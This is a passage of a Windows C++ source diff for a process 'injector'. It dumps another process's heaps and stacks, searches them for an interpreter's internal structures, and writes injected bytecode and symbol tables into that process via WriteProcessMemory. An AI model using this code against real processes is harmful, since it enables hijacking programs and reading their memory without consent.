);
*/
SIZE_T write_len;
BOOL result;
result = WriteProcessMemory(hProcess,
addr,
bytes,
bytes_len,
&write_len);
if (result == 0)
log_err_msg();
if (write_len != bytes_len)
*out << "Error: could not write all bytes. "
<< write_len
<< " bytes written."
<< std::endl;
}
+27
View File
@@ -0,0 +1,27 @@
#ifndef _INJECTOR_INJECT_H_
#define _INJECTOR_INJECT_H_
#include "config.h"
#include "common.h"
#include "payload.h"
#include "util.h"
#include "vpc.h"
#include <Windows.h>
#include <iomanip>
#include <iostream>
#include <list>
using std::vector;
void inject(HANDLE hProcess, LPVOID management_structure_addr, Payload payload, Config config);
LPVOID find_bytecode_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config);
LPVOID find_symbol_table_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config);
LPVOID find_vpc_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config);
void inject_bytecode(HANDLE hProcess, LPVOID management_structure_addr, Bytecode bytecode, Config config);
void inject_symbol_tables(HANDLE hProcess, LPVOID management_structure_addr, vector<SymbolTable> symbol_tables, Config config);
void inject_symbol_table(HANDLE hProcess, LPVOID symbol_table_addr, SymbolTable symbol_table);
void overwrite_vpc(HANDLE hProcess, LPVOID management_structure_addr, Config config, LPVOID bytecode_addr);
void read(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len);
void write(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len);
#endif // _INJECTOR_INJECT_H_
+46
View File
@@ -0,0 +1,46 @@
#ifndef INJECTOR_INJECTOR_H_
#define INJECTOR_INJECTOR_H_
#include "payload.h"
#include "common.h"
#include "config.h"
#include "inject.h"
#include "memory.h"
#include "ntapi.h"
#include "peb.h"
#include "search.h"
#include "thread.h"
#include "util.h"
#include <argparse/argparse.hpp>
#include <Windows.h>
#include <stdio.h>
#include <winuser.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <regex>
#include <list>
#include <utility>
#include <iterator>
#include <iostream>
#include <iomanip>
#include <fstream>
#include <vector>
#include <algorithm>
#define DPSAPI_VERSION 1
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "User32.lib")
typedef struct _ReplacementContent {
BYTE *pattern;
SIZE_T pattern_len;
BYTE *bytes;
SIZE_T bytes_len;
} ReplacementContent;
bool resume_thread(PROCESS_INFORMATION *pi);
#endif // INJECTOR_INJECTOR_H_
+488
View File
@@ -0,0 +1,488 @@
#include "memory.h"
extern std::ostream *out;
extern tmpl_NtQueryInformationThread fpNtQueryInformationThread;
extern tmpl_NtQueryInformationProcess fpNtQueryInformationProcess;
int stack_dump_count = 0;
int heap_dump_count = 0;
static bool GetFirstHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb)
{
PHeapBlockBasicInfo block;
hb->index = 0;
// hb->reserved = 0;
hb->dwAddress = 0;
hb->dwFlags = 0;
hb->extraInfo = NULL;
block = (PHeapBlockBasicInfo)heapInfo->Blocks;
if (!block) {
return false;
}
SIZE_T index = hb->index;
do {
if (index > heapInfo->BlockCount) {
return false;
}
hb->dwAddress = block[index].address;
hb->dwSize = block->size;
if (block[index].extra & EXTRA_FLAG) {
PHeapBlockExtraInfo extra = (PHeapBlockExtraInfo)(block[index].extra & ~EXTRA_FLAG);
hb->dwSize -= extra->unusedBytes;
hb->extraInfo = extra;
hb->dwAddress = (WPARAM)hb->dwAddress + extra->granularity;
}
else {
hb->dwAddress = (WPARAM)hb->dwAddress + heapInfo->Granularity;
hb->extraInfo = NULL;
}
if (hb->dwSize >= 0x10000) hb->dwSize -= 0x1010;
*out << "Address: 0x" << std::hex << hb->dwAddress << std::endl;
*out << "Size: 0x" << std::hex << hb->dwSize << std::endl;
*out << "Index: " << std::dec << hb->index << std::endl;
index++;
} while (block[index].flags & 2);
WPARAM flags = block[hb->index].flags;
if ((flags & 0xF1) != 0 || (flags & 0x0200) != 0)
hb->dwFlags = LF32_FIXED;
else if ((flags & 0x20) != 0)
hb->dwFlags = LF32_MOVEABLE;
else if ((flags & 0x0100) != 0)
hb->dwFlags = LF32_FREE;
hb->dwFlags |= ((flags) >> SHIFT) << SHIFT;
hb->index = index;
return TRUE;
}
static bool GetNextHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb)
{
PHeapBlockBasicInfo block;
block = (PHeapBlockBasicInfo)heapInfo->Blocks;
SIZE_T index = hb->index;
if (index >= heapInfo->BlockCount) {
return false;
}
*out << "Block count: " << std::dec << heapInfo->BlockCount << std::endl;
if (block[index].flags & 2) {
do {
if (index >= heapInfo->BlockCount) {
return false;
}
hb->dwAddress = block[index].address + heapInfo->Granularity;
*out << "Address(in): " << std::hex << hb->dwAddress << std::endl;
index++;
hb->dwSize = block->size;
*out << "Size(in): " << std::hex << hb->dwSize << std::endl;
} while (block[index].flags & 2);
hb->index = index;
}
else {
hb->dwSize = block[index].size;
if (block[index].extra & EXTRA_FLAG) {
PHeapBlockExtraInfo extra = (PHeapBlockExtraInfo)(block[index].extra & ~EXTRA_FLAG);
hb->extraInfo = extra;
hb->dwSize -= extra->unusedBytes;
hb->dwAddress = block[index].address + extra->granularity;
}
else {
hb->extraInfo = NULL;
hb->dwAddress = (WPARAM)hb->dwAddress + hb->dwSize;
}
hb->index++;
}
if (hb->dwSize >= 0x10000) hb->dwSize -= 0x1010;
*out << "Address: 0x" << std::hex << hb->dwAddress << std::endl;
*out << "Size: 0x" << std::hex << hb->dwSize << std::endl;
*out << "Index: " << std::dec << hb->index << std::endl;
WPARAM flags;
if (block[index].extra & EXTRA_FLAG) {
flags = block[index].flags;
}
else {
flags = (USHORT)block[index].flags;
}
if ((flags & 0xF1) != 0 || (flags & 0x0200) != 0)
hb->dwFlags = LF32_FIXED;
else if ((flags & 0x20) != 0)
hb->dwFlags = LF32_MOVEABLE;
else if ((flags & 0x0100) != 0)
hb->dwFlags = LF32_FREE;
return TRUE;
}
BinaryContent get_heap_block(HANDLE hProcess, LPVOID heap_block_addr, LONGLONG heap_block_size) {
BOOL result;
BYTE *bytes;
SIZE_T read_len;
DWORD err;
if (heap_block_size == 0) heap_block_size = 0x1000;
bytes = new BYTE[heap_block_size];
result = ReadProcessMemory(
hProcess,
heap_block_addr,
bytes,
heap_block_size,
&read_len
);
if (result == 0) {
*out << "Error: ReadProcessMemory of 0x"
<< std::hex
<< heap_block_size
<< " bytes to 0x"
<< heap_block_addr
<< " failed."
<< " 0x"
<< read_len
<< " bytes read."
<< std::endl;
log_err_msg();
}
else {
*out << "OK: ReadProcessMemory of 0x"
<< std::hex
<< heap_block_size
<< " bytes to 0x"
<< heap_block_addr
<< " 0x"
<< read_len
<< " bytes read."
<< std::endl;
}
heap_dump_count++;
return {heap_block_addr, bytes, read_len};
}
std::list<BinaryContent> get_heap_contents(HANDLE hProcess, std::list<HeapInfo> heaps) {
std::list<BinaryContent> contents;
BinaryContent content;
for (auto heaps_iter = heaps.begin(); heaps_iter != heaps.end(); heaps_iter++) {
for (auto blocks_iter = heaps_iter->blocks.begin(); blocks_iter != heaps_iter->blocks.end(); blocks_iter++) {
auto [start_addr, end_addr] = *blocks_iter;
content = get_heap_block(hProcess, (LPVOID)start_addr, end_addr - start_addr);
contents.push_back(content);
}
}
return contents;
}
void log_heap_info(std::list<HeapInfo> heaps) {
for (auto heaps_iter = heaps.begin(); heaps_iter != heaps.end(); heaps_iter++) {
for (auto blocks_iter = heaps_iter->blocks.begin(); blocks_iter != heaps_iter->blocks.end(); blocks_iter++) {
auto [sa, ea] = *blocks_iter;
*out << "trace: heap, start addr: 0x"
<< (LPVOID)sa
<< ", end addr: 0x"
<< (LPVOID)ea
<< std::endl;
}
}
}
std::list<HeapInfo> GetListOfHeaps(DWORD pid, DWORD *current_heap_index) {
std::list<HeapInfo> heaps;
DWORD heap_index;
heap_index = *current_heap_index;
HANDLE ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
PROCESS_BASIC_INFORMATION pib;
if (fpNtQueryInformationProcess(ph, ProcessBasicInformation, &pib, sizeof(pib), NULL)) {
*out << "Error: NtQueryInformationProcess" << std::endl;
return heaps;
}
PEB peb;
ReadProcessMemory(ph, pib.PebBaseAddress, &peb, sizeof(PEB), NULL);
PVOID heapAddress;
PVOID* processHeaps;
ULONG numberOfHeaps;
processHeaps = *((PVOID**)(((uint8_t*)&peb) + 0xF0));
numberOfHeaps = *((ULONG*)(((uint8_t *)&peb) + 0xE8));
*out << "Number of heaps from PEB: "
<< numberOfHeaps
<< std::endl;
HeapInfo heap;
do {
heap_index++;
ReadProcessMemory(ph, processHeaps, &heapAddress, sizeof(PVOID), NULL);
heap.id = heap_index;
heap.base = (uint64_t)heapAddress;
heaps.push_back(heap);
*out << "Heap base address from PEB: 0x"
<< heapAddress
<< std::endl;
processHeaps += 1;
} while (--numberOfHeaps);
*current_heap_index = heap_index;
return heaps;
}
std::list<HeapInfo> get_heap_info(DWORD pid) {
HANDLE hHeapSnap;
std::list<HeapInfo> heaps;
PDEBUG_BUFFER dbg_buf;
unsigned long global_heap_index;
hHeapSnap = CreateToolhelp32Snapshot(TH32CS_SNAPHEAPLIST, pid);
if (hHeapSnap != INVALID_HANDLE_VALUE) {
dbg_buf = RtlCreateQueryDebugBuffer(0, FALSE);
RtlQueryProcessDebugInformation(pid, PDI_HEAPS | PDI_HEAP_BLOCKS, dbg_buf);
#ifdef _WIN64
DWORD64 heap_node_count = dbg_buf->HeapInformation ? *PDWORD64(dbg_buf->HeapInformation) : 0;
PDEBUG_HEAP_INFORMATION heap_info = PDEBUG_HEAP_INFORMATION(PDWORD64(dbg_buf->HeapInformation) + 1);
#elif _WIN32
DWORD heap_node_count = dbg_buf->HeapInformation ? *PULONG(dbg_buf->HeapInformation) : 0;
PDEBUG_HEAP_INFORMATION heap_info = PDEBUG_HEAP_INFORMATION(PULONG(dbg_buf->HeapInformation) + 1);
#endif
*out << "Number of heaps from RtlQueryProcessDebugInformation: "
<< heap_node_count
<< std::endl;
*out << "Dump of heap_info:" << std::endl;
PBYTE heap_info_dump = (PBYTE)heap_info;
for (int i = 0; i < 30; i++) {
for (int j = 0; j < 0x10; j++) {
*out << std::hex << std::setfill('0') << std::setw(2)
<< (int)*heap_info_dump
<< " ";
heap_info_dump++;
}
*out << std::endl;
}
*out << std::endl;
*out << "Size of DEBUG_HEAP_INFORMATION: "
<< std::dec
<< sizeof(DEBUG_HEAP_INFORMATION)
<< std::endl;
for (unsigned long heap_index = 0; heap_index < heap_node_count; heap_index++) {
HeapInfo heap;
heap.id = heap_index;
heap.base = (uint64_t)heap_info[heap_index].Base;
heap.default_flag = heap_info[heap_index].Flags & HF32_DEFAULT;
*out << "Heap base address from RtlQueryProcessDebugInformation: 0x"
<< (LPVOID)heap.base
<< std::endl;
HeapBlock heap_block = { 0, 0, 0, 0 };
memset(&heap_block, 0, sizeof(heap_block));
if (GetFirstHeapBlock(&heap_info[heap_index], &heap_block)){
do {
ULONG_PTR start_addr = (ULONG_PTR)heap_block.dwAddress;
ULONG_PTR end_addr = (ULONG_PTR)start_addr + heap_block.dwSize;
heap.blocks.push_back(std::make_pair(start_addr, end_addr));
} while (GetNextHeapBlock(&heap_info[heap_index], &heap_block));
}
heaps.push_back(heap);
global_heap_index = heap_index;
}
}
else {
std::cout << "Error: CreateToolhelp32Snapshot" << std::endl;
}
CloseHandle(hHeapSnap);
return heaps;
}
void log_memory_basic_info(MEMORY_BASIC_INFORMATION mbi) {
*out << "trace: memory basic info, base address: 0x"
<< mbi.BaseAddress
<< ", region size: 0x"
<< std::hex << std::setfill('0') << std::setw(8)
<< mbi.RegionSize
<< ", state: 0x"
<< std::hex << std::setfill('0') << std::setw(4)
<< mbi.State
<< ", protect: 0x"
<< std::hex << std::setfill('0') << std::setw(4)
<< mbi.Protect
<< std::endl;
}
BinaryContent get_stack_content(HANDLE hProcess, LPVOID stack_limit, SIZE_T stack_size) {
BOOL result;
BYTE *bytes;
SIZE_T read_len;
DWORD err;
MEMORY_BASIC_INFORMATION mbi;
SIZE_T len;
bytes = new BYTE[stack_size];
len = VirtualQueryEx(hProcess,
stack_limit,
&mbi,
0x1000);
if (len == 0) {
*out << "Error: VirtualQueryEx, Stack address: 0x" << stack_limit << std::endl;
log_err_msg();
}
log_memory_basic_info(mbi);
result = ReadProcessMemory(
hProcess,
stack_limit,
bytes,
stack_size,
&read_len
);
*out << "Stack address: 0x"
<< stack_limit
<< ", Read len: "
<< read_len
<< std::endl;
if (result == 0) {
*out << "Error: ReadProcessMemory, Stack address: 0x" << stack_limit << std::endl;
log_err_msg();
}
stack_dump_count++;
return {stack_limit, bytes, stack_size};
}
std::list<BinaryContent> get_stack_contents(HANDLE hProcess, std::list<StackInfo> stacks) {
std::list<BinaryContent> contents;
BinaryContent content;
for (auto iter = stacks.begin(); iter != stacks.end(); iter++) {
content = get_stack_content(hProcess, iter->limit, iter->size);
contents.push_back(content);
}
return contents;
}
void log_stack_info(std::list<StackInfo> stacks) {
for (auto& stack : stacks) {
*out << "trace: stack, base: 0x"
<< stack.base
<< ", limit: 0x"
<< stack.limit
<< ", size: 0x"
<< std::hex << std::setfill('0') << std::setw(4)
<< stack.size
<< std::endl;
}
}
std::list<StackInfo> get_stack_info(DWORD pid, HANDLE hProcess) {
TEB32 teb;
THREAD_BASIC_INFORMATION tbi;
ULONG len;
SIZE_T read_len;
HANDLE hThread;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;
NTSTATUS status;
std::list<StackInfo> stacks;
THREADINFOCLASS ThreadBasicInformation = static_cast<THREADINFOCLASS>(0);
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if(hThreadSnap == INVALID_HANDLE_VALUE) {
log_err_msg();
return stacks;
}
te32.dwSize = sizeof(THREADENTRY32);
if(!Thread32First(hThreadSnap, &te32)) {
CloseHandle(hThreadSnap);
return stacks;
}
do {
if(te32.th32OwnerProcessID == pid) {
hThread = OpenThread(THREAD_ALL_ACCESS,
TRUE,
te32.th32ThreadID);
status = fpNtQueryInformationThread(hThread,
ThreadBasicInformation,
&tbi,
sizeof(tbi),
&len
);
ReadProcessMemory(
hProcess,
tbi.TebBaseAddress,
&teb,
sizeof(teb),
&read_len
);
StackInfo stack;
stack.base = teb.StackBase;
stack.limit = teb.StackLimit;
stack.size = (int64_t)teb.StackBase - (int64_t)teb.StackLimit;
stacks.push_back(stack);
}
} while(Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
return stacks;
}
void dump_memory(BYTE *content, SIZE_T content_len, char *dir_name, char *prefix, LPVOID base_addr, char *extension) {
FILE *fp;
errno_t err;
char *file_name;
const SIZE_T len = 256;
file_name = new char[len];
ZeroMemory(file_name, len);
_snprintf_s(file_name, len, _TRUNCATE, "%s\\%s%llx%s", dir_name, prefix, (ULONGLONG)base_addr, extension);
err = fopen_s(&fp, file_name, "wb");
if (err) {
std::cout << "Error: fopen_s" << std::endl;
std::cout << err << std::endl;
}
fwrite(content, content_len, 1, fp);
fclose(fp);
delete[] file_name;
}
+36
View File
@@ -0,0 +1,36 @@
#ifndef _INJECTOR_MEMORY_H_
#define _INJECTOR_MEMORY_H_
#include <Windows.h>
#include "ntapi.h"
#include "stack.h"
#include "heap.h"
#include "teb.h"
#include "util.h"
#include <iomanip>
#include <iostream>
#include <list>
#include <tlhelp32.h>
#include <winternl.h>
typedef struct _BinaryContent {
LPVOID addr;
BYTE *bytes;
SIZE_T len;
} BinaryContent;
void log_err_msg();
void log_heap_info(std::list<HeapInfo> heaps);
void log_stack_info(std::list<StackInfo> stacks);
void log_memory_basic_info(MEMORY_BASIC_INFORMATION mbi);
void dump_memory(BYTE *content, SIZE_T content_len, char *dir_name, char *prefix, LPVOID base_addr, char *extension);
static bool GetFirstHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb);
static bool GetNextHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb);
std::list<HeapInfo> get_heap_info(DWORD pid);
std::list<StackInfo> get_stack_info(DWORD pid, HANDLE hProcess);
BinaryContent get_heap_content(HANDLE hProcess, LPVOID heap_block_addr, DWORD heap_block_size);
std::list<BinaryContent> get_heap_contents(HANDLE hProcess, std::list<HeapInfo> heaps);
BinaryContent get_stack_content(HANDLE hProcess, LPVOID stack_limit, DWORD stack_size);
std::list<BinaryContent> get_stack_contents(HANDLE hProcess, std::list<StackInfo> stacks);
#endif // _INJECTOR_MEMORY_H_
+12
View File
@@ -0,0 +1,12 @@
#include "ntapi.h"
extern tmpl_NtQueryInformationThread fpNtQueryInformationThread;
extern tmpl_NtQueryInformationProcess fpNtQueryInformationProcess;
void resolve_native_apis() {
HMODULE hModule;
hModule = GetModuleHandleA("ntdll.dll");
fpNtQueryInformationProcess = (tmpl_NtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
fpNtQueryInformationThread = (tmpl_NtQueryInformationThread)GetProcAddress(hModule, "NtQueryInformationThread");
}
+24
View File
@@ -0,0 +1,24 @@
#ifndef _INJECTOR_NTAPI_H_
#define _INJECTOR_NTAPI_H_
#include <Windows.h>
typedef NTSTATUS (NTAPI* tmpl_NtQueryInformationProcess)(
HANDLE ProcessHandle,
UINT ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS (NTAPI* tmpl_NtQueryInformationThread)(
HANDLE ThreadHandle,
UINT ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength,
PULONG ReturnLength
);
void resolve_native_apis();
#endif // _INJECTOR_NTAPI_H_
+41
View File
@@ -0,0 +1,41 @@
#include "payload.h"
void deserialize_payload(std::string payload_json_string, Payload& payload) {
std::string bytecode_bytes;
std::string symbol_table_bytes;
auto payload_json = json::parse(payload_json_string);
try {
auto bytecode = payload_json.at("bytecode");
payload.bytecode.len = bytecode.at("len").get<int>();
for (auto i = 0; i < payload.bytecode.len; i++) {
bytecode_bytes += bytecode.at("bytes")[i].get<BYTE>();
}
payload.bytecode.bytes = new BYTE[payload.bytecode.len + 1];
memcpy(payload.bytecode.bytes, (BYTE*)bytecode_bytes.data(), payload.bytecode.len);
auto symbol_tables = payload_json.at("symbol_tables");
for (auto symbol_table_it = symbol_tables.begin(); symbol_table_it != symbol_tables.end(); symbol_table_it++) {
SymbolTable symbol_table;
symbol_table.scope = symbol_table_it->at("scope").get<UINT8>();
auto value_objects = symbol_table_it->at("value_objects");
for (auto value_object_it = value_objects.begin(); value_object_it != value_objects.end(); value_object_it++) {
ValueObject value_object;
std::string value_object_bytes;
value_object.len = value_object_it->at("len").get<SIZE_T>();
for (auto i = 0; i < value_object.len; i++) {
value_object_bytes += value_object_it->at("bytes")[i].get<BYTE>();
}
value_object.bytes = new BYTE[value_object.len + 1];
memcpy(value_object.bytes, (BYTE*)value_object_bytes.data(), value_object.len);
value_object.index = value_object_it->at("index").get<UINT64>();
symbol_table.value_objects.push_back(value_object);
}
payload.symbol_tables.push_back(symbol_table);
}
}
catch (const std::exception& err) {
std::exit(1);
}
}
+42
View File
@@ -0,0 +1,42 @@
#ifndef _INJECTOR_PAYLOAD_H_
#define _INJECTOR_PAYLOAD_H_
#include <nlohmann/json.hpp>
#include <Windows.h>
#include <string>
#include <vector>
using json = nlohmann::json;
const uint8_t kSymbolTableTypeArray = 0x0;
const uint8_t kSymbolTableTypeLinkedList = 0x1;
const uint8_t kSymbolTableTypeDirect = 0x2;
const uint8_t kSymbolTableScopeGlobal = 0x0;
typedef struct _Bytecode {
BYTE* bytes;
SIZE_T len;
} Bytecode;
typedef struct _ValueObject {
BYTE* bytes;
SIZE_T len;
UINT64 index;
} ValueObject;
typedef struct _SymbolTable {
UINT8 scope;
std::vector<ValueObject> value_objects;
} SymbolTable;
typedef struct _Payload {
Bytecode bytecode;
std::vector<SymbolTable> symbol_tables;
} Payload;
void deserialize_payload(std::string payload_json_string, Payload& payload);
#endif // _INJECTOR_PAYLOAD_H_
+32
View File
@@ -0,0 +1,32 @@
#ifndef INJECTOR_PEB_H_
#define INJECTOR_PEB_H_
#include <Windows.h>
#include <winternl.h>
typedef struct _PEB32 {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[1];
PVOID ProcessHeap;
PVOID Reserved4x[1];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB32, *PPEB32;
#endif // INJECTOR_PEB_H_
+225
View File
@@ -0,0 +1,225 @@
#include "search.h"
extern std::ostream *out;
void deserialize_search(std::string search_json_string, Search& search) {
auto search_json = json::parse(search_json_string);
try {
search.type = search_json.at("type").get<uint8_t>();
if (search.type == kSearchTextTypeChar) {
std::string search_pattern = search_json.at("pattern").get<std::string>();
search.pattern_mbs = new char[search_pattern.size() + 1];
strncpy_s(search.pattern_mbs, search_pattern.size() + 1, search_pattern.c_str(), search_pattern.size() + 1);
}
else if (search.type == kSearchTextTypeWchar) {
std::wstring search_pattern = search_json.at("pattern").get<std::wstring>();
search.pattern_wcs = new wchar_t[search_pattern.size() + 1];
wcsncpy_s(search.pattern_wcs, search_pattern.size() + 1, search_pattern.c_str(), search_pattern.size() + 1);
}
else {
std::exit(1);
}
search.value_object_offset = search_json.at("value_object_offset").get<off_t>();
}
catch (const std::exception& err) {
std::exit(1);
}
}
char convert_order_to_char_upper(int order) {
int val = order / 16;
if (val < 10)
val += '0';
else
val += 'a' - 10;
return val;
}
char convert_order_to_char_lower(int order) {
int val = order % 16;
if (val < 10)
val += '0';
else
val += 'a' - 10;
return val;
}
char* generate_search_pattern(wchar_t* search_string) {
char* search_pattern;
std::string search_pattern_str;
SIZE_T len = wcslen(search_string);
for (auto i = 0; i < len * 2; i++) {
search_pattern_str += "\\x";
int order = (int)((char*)search_string)[i];
search_pattern_str += convert_order_to_char_upper(order);
search_pattern_str += convert_order_to_char_lower(order);
}
search_pattern = new char[search_pattern_str.size() + 1];
memcpy(search_pattern, search_pattern_str.data(), search_pattern_str.size());
search_pattern[search_pattern_str.size()] = '\0';
return search_pattern;
}
char *generate_search_pattern(int64_t search_value) {
char *pattern;
int pattern_len;
uint8_t search_value_bytes[sizeof(LPVOID)];
pattern_len = sizeof(LPVOID) * 8;
pattern = new char[pattern_len];
memset(pattern, 0x0, pattern_len);
for (auto i = 0; i < sizeof(LPVOID); i++) {
search_value_bytes[i] = (uint8_t)(search_value % 0x100);
search_value /= 0x100;
}
*out << "Target value (hex): 0x";
for (auto i = 0; i < sizeof(LPVOID); i++) {
*out << std::hex << std::setfill('0') << std::setw(2)
<< (int)search_value_bytes[i];
}
*out << std::endl;
#ifdef _WIN64
snprintf(pattern, pattern_len, "\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x",
search_value_bytes[0],
search_value_bytes[1],
search_value_bytes[2],
search_value_bytes[3],
search_value_bytes[4],
search_value_bytes[5],
search_value_bytes[6],
search_value_bytes[7]);
#elif _WIN32
snprintf(pattern, pattern_len, "\\x%02x\\x%02x\\x%02x\\x%02x",
search_value_bytes[0],
search_value_bytes[1],
search_value_bytes[2],
search_value_bytes[3]);
#endif
*out << "Search pattern: "
<< pattern
<< std::endl;
return pattern;
}
std::pair<ULONGLONG, SIZE_T> search_characteristic_string(BYTE *buf, SIZE_T buf_len, Search search) {
auto m = std::cmatch {};
std::regex p;
if (search.type == kSearchTextTypeChar) {
p = std::regex(search.pattern_mbs);
}
else if (search.type == kSearchTextTypeWchar) {
char* c = (char*)search.pattern_wcs;
char* search_pattern = generate_search_pattern(search.pattern_wcs);
p = std::regex(search_pattern);
}
if (std::regex_search((const char*)buf, (const char*)buf + buf_len, m, p))
return std::make_pair(m.position(), m.length());
else
return std::make_pair(0, 0);
}
std::pair<ULONGLONG, SIZE_T> search_ptr(BYTE *buf, SIZE_T buf_len, char *pattern) {
auto m = std::cmatch{};
auto p = std::regex(pattern);
if (std::regex_search((const char*)buf, (const char*)buf + buf_len, m, p))
return std::make_pair(m.position(), m.length());
else
return std::make_pair(0, 0);
}
void log_search_result(BYTE *content, LPVOID content_base_addr, ULONGLONG match_offset, SIZE_T match_len) {
*out << "trace: search, base addr: 0x"
<< content_base_addr
<< ", offset: 0x"
<< std::hex << std::setfill('0') << std::setw(4)
<< match_offset
<< ", len: "
<< match_len
<< ", hex: 0x";
for (auto i = match_offset; i < match_offset + match_len; i++)
*out << std::hex << std::setfill('0') << std::setw(2)
<< (int)content[i];
*out << ", bytes: ";
for (auto i = match_offset; i < match_offset + match_len; i++)
*out << content[i];
*out << std::endl;
}
LPVOID find_management_structure(std::list<BinaryContent> contents, LPVOID value_addr, ptrdiff_t value_offset, ptrdiff_t struct_offset) {
LPVOID management_structure_addr;
LPVOID value_object_addr = (LPVOID)((int64_t)value_addr - value_offset);
char *pattern = generate_search_pattern((int64_t)value_object_addr);
auto m = std::cmatch {};
auto p = std::regex(pattern);
off_t block_offset;
bool found;
management_structure_addr = NULL;
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
auto [match_offset, match_len] = search_ptr(iter->bytes, iter->len, pattern);
if (match_len != 0) {
log_search_result(iter->bytes, iter->addr, match_offset, match_len);
std::deque<ptrdiff_t> member_offsets;
member_offsets.push_back(0x1f0);
management_structure_addr = backtrack(contents, (LPVOID)((int64_t)iter->addr + match_offset), member_offsets);
}
}
return management_structure_addr;
}
LPVOID backtrack(std::list<BinaryContent> contents, LPVOID found_addr, std::deque<ptrdiff_t> member_offsets) {
LPVOID backtracked_addr;
ptrdiff_t member_offset;
if (member_offsets.empty()) return found_addr;
member_offset = member_offsets.front();
member_offsets.pop_front();
*out << "Member offset: 0x"
<< std::hex << std::setfill('0') << std::setw(2)
<< member_offset
<< ", Deque size: "
<< std::dec
<< member_offsets.size()
<< std::endl;
LPVOID struct_base_addr = (LPVOID)((int64_t)found_addr - member_offset);
char *pattern = generate_search_pattern((int64_t)struct_base_addr);
auto m = std::cmatch {};
auto p = std::regex(pattern);
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
auto [match_offset, match_len] = search_ptr(iter->bytes, iter->len, pattern);
if (match_len != 0) {
log_search_result(iter->bytes, iter->addr, match_offset, match_len);
backtracked_addr = backtrack(contents, (LPVOID)((int64_t)iter->addr + match_offset), member_offsets);
member_offsets.push_front(member_offset);
return backtracked_addr;
}
}
return NULL;
}
+37
View File
@@ -0,0 +1,37 @@
#ifndef _INJECTOR_SEARCH_H_
#define _INJECTOR_SEARCH_H_
#include <nlohmann/json.hpp>
#include "memory.h"
#include "payload.h"
#include <deque>
#include <regex>
#include <utility>
#include <iomanip>
#include <iostream>
#include <Windows.h>
using json = nlohmann::json;
const uint8_t kSearchTextTypeChar = 0;
const uint8_t kSearchTextTypeWchar = 1;
typedef struct _Search {
uint8_t type;
union {
char* pattern_mbs;
wchar_t* pattern_wcs;
};
off_t value_object_offset;
} Search;
void deserialize_search(std::string search_json_string, Search& search);
char* generate_search_pattern(wchar_t* search_string);
char* generate_search_pattern(int64_t search_value);
std::pair<ULONGLONG, SIZE_T> search_characteristic_string(BYTE* buf, SIZE_T buf_len, Search search);
void log_search_result(BYTE *content, LPVOID content_base_addr, ULONGLONG match_offset, SIZE_T match_len);
LPVOID find_management_structure(std::list<BinaryContent> contents, LPVOID value_addr, ptrdiff_t value_offset, ptrdiff_t struct_offset);
LPVOID backtrack(std::list<BinaryContent> contents, LPVOID found_addr, std::deque<ptrdiff_t> member_offsets);
#endif // _INJECTOR_SEARCH_H_
+10
View File
@@ -0,0 +1,10 @@
#ifndef _INJECTOR_STACK_H_
#define _INJECTOR_STACK_H_
typedef struct _StackInfo {
LPVOID base;
LPVOID limit;
SIZE_T size;
} StackInfo;
#endif // _INJECTOR_STACK_H_
+32
View File
@@ -0,0 +1,32 @@
#ifndef _INJECTOR_TEB_H_
#define _INJECTOR_TEB_H_
#include <Windows.h>
#include <winternl.h>
typedef struct _TEB32 {
PVOID Reserved1[1];
PVOID StackBase;
PVOID StackLimit;
PVOID Reserved1x[9];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB32, *PTEB32;
typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
#endif // _INJECTOR_TEB_H_
+64
View File
@@ -0,0 +1,64 @@
#include "thread.h"
std::vector<HANDLE> get_thread_handles(DWORD pid) {
HANDLE hThread;
std::vector<HANDLE> hThreads;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if(hThreadSnap == INVALID_HANDLE_VALUE)
return hThreads;
te32.dwSize = sizeof(THREADENTRY32);
if(!Thread32First(hThreadSnap, &te32)) {
log_err_msg();
CloseHandle(hThreadSnap);
return hThreads;
}
